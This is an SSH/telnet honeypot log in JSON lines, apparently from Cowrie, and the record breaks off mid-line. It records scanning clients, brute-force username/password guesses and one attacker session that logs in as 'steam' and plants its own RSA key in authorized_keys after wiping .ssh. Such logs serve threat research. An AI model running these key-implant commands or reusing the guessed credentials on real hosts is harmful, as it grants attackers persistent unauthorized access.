{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:25.494165Z","src_ip":"4.213.160.153","session":"ffa69595bc21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Passw@rd","message":"login attempt [user/Passw@rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:26.257517Z","src_ip":"4.213.160.153","session":"ffa69595bc21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:27.444739Z","src_ip":"4.213.160.153","session":"ffa69595bc21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":33016,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b1483df7c4e","protocol":"ssh","message":"New connection: 211.186.79.173:33016 (10.17.0.5:22) [session: 9b1483df7c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:29.213218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:29.217492Z","src_ip":"211.186.79.173","session":"9b1483df7c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:29.416897Z","src_ip":"211.186.79.173","session":"9b1483df7c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guestpass","message":"login attempt [guest/guestpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:30.209248Z","src_ip":"211.186.79.173","session":"9b1483df7c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:31.405175Z","src_ip":"211.186.79.173","session":"9b1483df7c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:31.413366Z","src_ip":"120.48.135.189","session":"7411fac16148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55246901512146,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:33.106455Z","src_ip":"209.205.218.26","session":"8335b32ed630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.44.190","src_port":14932,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e561a55302d","protocol":"ssh","message":"New connection: 115.190.44.190:14932 (159.203.135.109:22) [session: 6e561a55302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:36.599818Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:36.609749Z","src_ip":"115.190.44.190","session":"6e561a55302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.1762216091156,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:41.406876Z","src_ip":"209.205.218.26","session":"f11d24516bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":45134,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4eb707eb223","protocol":"ssh","message":"New connection: 36.93.249.106:45134 (159.203.135.109:22) [session: c4eb707eb223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:52.803985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:52.808712Z","src_ip":"36.93.249.106","session":"c4eb707eb223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:53.087662Z","src_ip":"36.93.249.106","session":"c4eb707eb223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root@1234","message":"login attempt [ubuntu/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:54.228897Z","src_ip":"36.93.249.106","session":"c4eb707eb223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:55.510440Z","src_ip":"36.93.249.106","session":"c4eb707eb223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":50515,"dst_ip":"159.203.135.109","dst_port":22,"session":"f82e13412ad8","protocol":"ssh","message":"New connection: 185.9.193.111:50515 (159.203.135.109:22) [session: f82e13412ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:17.755825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:17.761060Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:18.282187Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"qwerty","message":"login attempt [steam/qwerty] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:19.282357Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.237.124.55","src_port":58000,"dst_ip":"159.203.135.109","dst_port":23,"session":"df95cc1682d6","protocol":"telnet","message":"New connection: 37.237.124.55:58000 (159.203.135.109:23) [session: df95cc1682d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:19.617540Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:19.717713Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:19.721047Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:19.724280Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:19.930685Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:20.483273Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:20.486682Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:20.699077Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:20.704204Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":63321,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9efa091be48","protocol":"ssh","message":"New connection: 185.9.193.111:63321 (159.203.135.109:22) [session: c9efa091be48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:21.066631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:21.074146Z","src_ip":"185.9.193.111","session":"c9efa091be48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:21.511905Z","src_ip":"185.9.193.111","session":"c9efa091be48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:22.587529Z","src_ip":"185.9.193.111","session":"c9efa091be48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:23.899426Z","src_ip":"185.9.193.111","session":"c9efa091be48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":57042,"dst_ip":"159.203.135.109","dst_port":22,"session":"93e8752edde1","protocol":"ssh","message":"New connection: 185.9.193.111:57042 (159.203.135.109:22) [session: 93e8752edde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:24.194137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:24.225512Z","src_ip":"185.9.193.111","session":"93e8752edde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:24.417890Z","src_ip":"185.9.193.111","session":"93e8752edde1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:25.571205Z","src_ip":"185.9.193.111","session":"93e8752edde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:25.786283Z","src_ip":"185.9.193.111","session":"f82e13412ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:25.791417Z","src_ip":"185.9.193.111","session":"93e8752edde1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":37164,"dst_ip":"159.203.135.109","dst_port":22,"session":"d672fd2e9156","protocol":"ssh","message":"New connection: 4.213.160.153:37164 (159.203.135.109:22) [session: d672fd2e9156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:26.389387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:26.393582Z","src_ip":"4.213.160.153","session":"d672fd2e9156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp3